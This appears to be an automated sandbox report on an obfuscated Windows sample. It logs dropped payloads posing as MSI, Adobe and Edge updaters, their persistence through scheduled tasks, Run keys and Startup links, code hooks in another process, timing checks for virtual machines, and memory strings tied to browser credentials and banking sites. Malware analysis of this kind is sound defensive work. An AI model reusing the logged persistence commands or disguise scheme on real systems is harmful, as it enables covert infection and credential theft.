Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe "C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe"
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe "C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: apphelp.dll	Jump to behavior

Source: EdgeMS2.lnk.0.dr

LNK file: ..\..\..\..\..\..\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 8778752 > 1048576

Source: file.exe

Static PE information: Raw size of .vmpY[. is bigger than: 0x100000 < 0x838200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 7.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 8.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Unpacked PE file: 9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 14.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 17.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 18.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Unpacked PE file: 19.2.EdgeMS2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D4C990 SetThreadExecutionState,SetThreadExecutionState,GetVersion,GetCurrentThreadId,GetThreadDesktop,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GdiplusStartup,CreateThread,CloseHandle,

0_2_06D4C990

Source: initial sample

Static PE information: section where entry point is pointing to: .vmpY[.

Source: file.exe	Static PE information: section name: .vmp#+
Source: file.exe	Static PE information: section name: .vmp#+
Source: file.exe	Static PE information: section name: .vmp#+
Source: file.exe	Static PE information: section name: .vmpY[.
Source: file.exe	Static PE information: section name: .vmpY[.
Source: l2[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: llmcrdwzLnNKYB4T0Vnw.exe.0.dr	Static PE information: section name: .MPRESS1
Source: llmcrdwzLnNKYB4T0Vnw.exe.0.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: oobeldr.exe.9.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.9.dr	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D8C245 push esi; ret	0_2_06D8C24E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D8CE63 push es; iretd	0_2_06D8CE64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D68F27 push es; ret	0_2_06D68F45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D65B83 push ecx; ret	0_2_06D65B96
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Code function: 7_2_006D50A5 push ebp; ret	7_2_00721C57

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe (copy)
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 4112 base: 15F0005 value: E9 8B 2F 90 75			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 4112 base: 76EF2F90 value: E9 7A D0 6F 8A			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D57890 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_06D57890

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe

RDTSC instruction interceptor: First address: EFE543 second address: EFE547 instructions: 0x00000000 rdtsc 0x00000002 not cl 0x00000004 rdtsc

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 3658	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 493	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 5011	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 9995	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-33755

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-33732

Source: C:\Users\user\Desktop\file.exe

API coverage: 8.9 %

Source: C:\Users\user\Desktop\file.exe TID: 3424	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1480	Thread sleep time: -693000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3424	Thread sleep time: -3661658s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1480	Thread sleep time: -1479000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3424	Thread sleep time: -5016011s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 3504	Thread sleep count: 9995 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 3504	Thread sleep time: -2248875s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D2B2C0 FindFirstFileA,CreateDirectoryA,GetLastError,CopyFileA,GetLastError,CopyFileA,GetLastError,CopyFileA,GetLastError,FindNextFileA,FindClose,GetLastError,	0_2_06D2B2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D62EAD GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	0_2_06D62EAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D7CCFD FindFirstFileExW,	0_2_06D7CCFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D2BAC0 FindFirstFileA,SetFileAttributesA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,	0_2_06D2BAC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D86276 VirtualQuery,GetSystemInfo,

0_2_06D86276

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 30000

Jump to behavior

Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: formVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .utiitsl.comVMware20,1169642865
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ccount.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,116x
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT service, encrypted_token FROM token_servicerr global passwords blocklistVMware20,11696428655
Source: file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696
